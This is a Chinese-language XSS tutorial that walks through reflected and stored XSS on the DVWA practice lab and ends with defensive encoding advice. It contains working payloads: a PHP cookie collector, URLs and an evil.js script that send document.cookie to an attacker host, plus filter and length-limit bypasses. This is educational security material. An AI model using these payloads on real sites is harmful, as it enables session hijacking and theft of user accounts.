admin管理员组文章数量:1547534
XSS是web安全中最为常见的漏洞,XSS全称是Cross Site Script。XSS攻击通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本,从而控制用户浏览的一种攻击。
这里的跨站访问,可以是从正常的网站跨到黑客的服务器,也可以是黑客的服务器跨到正常的网站。
XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页。
例如:页面上有个input标签
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form method="GET" action="xss.php">
<input type="text" name="name">
<input type="submit">
</form>
<?php
if(array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL){
echo $_GET['name'];
}
?>
</body>
</html>
在输入框中,我们可以构造一下代码实现注入
<script>alert(1)</script>
在寻找XSS漏洞时,先随便输入东西观察页面的响应方式,然后查看页面源码,然后构造合适的alert()弹窗来发现,同样也可以使用prompt(),confirm()。
XSS根据效果不同可以分为三类
- 反射型XSS(reflected)
- 存储型XSS(stored)
- DOM Based XSS
反射型和DOM型的攻击代码一般会在url中,经过urlEncode以后,用户很难识别。
DOM based XSS与前两者完全不同,是纯前端的XSS漏洞,XSS直接通过浏览器进行解析,就完成攻击。
下面这幅图片是反射型XSS的攻击示意图,序号是攻击顺序。反射型XSS需要诱骗用户进行点击。而存储型,攻击者已经通过XSS漏洞(基本为输入框)将恶意脚本放入数据库中,只要每次浏览这个网页就会触发恶意脚本。
攻击者的恶意脚本称为XSS payload,下面列举几种常见的xss payload用途
1.cookie劫持
这是最常见的payload,黑客的目标一般就是用户的cookie,或者是root权限。这个攻击会在后面XSS实战中讲解
2.构造GET与POST请求
构造GET请求,只需要构造url中?后面的parameter就可以
POST请求构造一种是form表单的提交,另一种是XMLHttpReuqeust,XMLHttpRequest请求请看我另一篇博客的最后https://blog.csdn/qq_41667282/article/details/87216653
3.XSS钓鱼
将XSS与钓鱼相结合
4.识别用户浏览器
简单的方式可以通过navigator.userAgent获得。
复杂的可以通过不同浏览器有不同的特点获得。
5.识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid,来判断用户是否安装了某软件
try{
var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
}catch(e){}
有一些第三方软件也会泄露,这里不详细介绍
6.CSS History Hack
利用CSS中style的visited属性,可以获得用户访问过哪些网站。(火狐已经修复这个漏洞)
7.获取用户的真实IP地址
XSS攻击框架“Attack API"中有一个获取本地IP地址的API
下面通过实战来详细认识一下XSS,实战平台用的是DVWA
先讲反射型的XSS
1.low等级
当你在用户框输入时会回显
现在输入<script>alert(1)</script>看看
这说明存在XSS漏洞,如何分别时反射型还是存储型漏洞,只要刷新这个页面,观察是否会弹窗就知道了,如果能会弹窗证明是存储型,反之是反射型
接着我们用这个XSS漏洞来实现cookie劫持
根据前面那个反射型XSS攻击流程图,我们需要先在自己的服务器上写一个获取cookie的脚本
这里我用的是php写的
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);
?>
接着就是要构造让用户点击的url
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie;</script>
这个用户不能直接访问,必须经过urlEncode编码,编码后的url如下:
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%22http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%22%2bdocument.cookie%3B%3C%2fscript%3E
这时只要诱骗用户进行点击就可以获取用户的cookie。然后打开开发者工具,选择存储里的cookie进行替换,就可以成功登录DVWA。
还有一种获取cookie的方式:
现在url中加载一个远程脚本evil.js
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/evil.js></script>
攻击者在自己的服务器中放入evil.js
var img=document.createElement("img");
img.src="http://127.0.0.1/log?"+escape(document.cookie);
document.body.appendChild(img);
然后查看服务器的日志可以看到留下的cookie
2.medium等级
当你输入<script>alert(1)</script>,会发现出现下图,这有可能是<script>标签被过滤了,看以下源代码验证一下
源代码:
发现<script>真的被过滤了,这时候就需要技巧去绕过限制,下面介绍几种绕过技巧
a.标签的嵌套
在<script>标签中再嵌套一个<script>
<script<script>>alert(1)</script>
b.大小写混合
服务器有可能只过滤了小写的script,那就可以通过大小写混合来绕过
3.high等级
以下是high等级输入<script>alert(1)</script>的页面源码,发现<script>被完全过滤
能加载js脚本的标签不只有<script>,还有<img>,<iframe>
<img src=# onerror=alert(1)>
<iframe onload=alert(1)>
现在讲存储型XSS,存储型XSS漏洞的利用方式可以说与反射型一模一样,但在存储型中遇到了不同的限制
输入框设置了maxlength属性,限制了输入的最大长度
绕过长度限制的技巧:
a.利用事件
这个针对的是以下这种情况
<input type=text value="$var"/>
变量直接在input中输出,那就可以利用事件来缩短所需要的字节数
“onclick=alert(1)
但是这种办法针对的情况非常有限,一旦限制的最大长度再小点便无法使用。
b.将代码写在别处
最常用的一个藏代码的地方就是location.hash。
先将要写的脚本写在url的hash后面
http://127.0.0.1/DVWA-master/vulnerabilities/xss_s/#alert(1)
然后在页面上的xss漏洞处写入 “οnclick="eval(location.hash.substr(1)"(这个构造方法针对的是前面那个xss,不是DVWA里面的)
c.利用注释符
当可以控制两个文本框时,通过注释符将脚本代码写在第二个注释符中,但是这个技巧实战价值不大。
d.利用抓包工具tamper data
利用这个工具可以绕过前端输入,直接向后端发送恶意脚本,就不受长度限制,可以说是一个万能工具,跟前面总是会受最小长度制约的技巧对比。
用开发者工具也同样可以绕过前端输入,这里以火狐浏览器为例:
在网络(Network)中找到下图,然后点击
在右边的框中点击编辑和重发
分为请求主体和请求头,在请求主体中更改要发送的内容,然后统计发送内容字符串的长度,修改Content-Length的值,注意这个一定要修改,否则发送失败
更改前:
更改后:
更多的绕过长度限制的技巧可以看《突破XSS字符数量限制执行仍以JS代码》
其余的攻击步骤与反射型的一致
构造XSS还有一些其他的技巧
a.利用字符编码
比如%c1"的组合可以绕开对“的转义
b.使用<base>标签
<base>标签被用来定义页面上所有相对路径标签的hosting地址,<base>标签不像大部分技术文档所说的只能用在<head>标签之内,它可以使用在Html中任意一个地方,用<base>标签可以劫持页面中的使用相对路径的标签
c.window.name的妙用
window.name是没有特殊字符的限制,因为window对象是浏览器窗体,而并非document对象,因此window对象不受same Origin Policy限制,利用window对象可以实现跨域、跨页面传递数据。
假设www.a/test.html代码为
<body>
<script>
window.name="test";
window.location="http://www.b/test1.html";
</script>
</body>
将跳转到www.b中 ,www.b/test1.html代码为:
<body>
<script>
alert(document.domain+window.name);
</script>
</body>
XSS也会导致蠕虫的传播,比如Samy Worm和百度空间蠕虫
下面讲解以下XSS的防御
应对cookie劫持,普遍的做法是增加HttpOnly,HttpOnly是在Set-Cookie时候标记的,限制了js脚本对cookie的访问。
还可以进行输入和输出的检查,一般是用白名单,使用安全编码函数,如htmlspecialchars()等
应对不同的XSS应有不同的防御方式:
a.在HTML标签中输出:使用HtmlEncode
b.在HTML属性中输出:使用HtmlEncode
c.在script标签中输出:使用JavascriptEncode
d.在事件中输出:使用JavascriptEncode
e.在CSS中输出:尽量进制用户可控制的变量在<style>标签内
f.在地址中输出:一般针对path或者search中输出使用URLEncode就可以。如果用户可以控制整个url,应先检查是否以HTTP开头(因为可以用javascript,vbscript,dateURI作为协议
g.DOM型的防御:一定先进行JavascriptEncode,在根据输出到HTML中还是输出到事件或者脚本选择a,b,c,d中的一种防御方式。
版权声明:本文标题:XSS漏洞 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1727193214a1101649.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论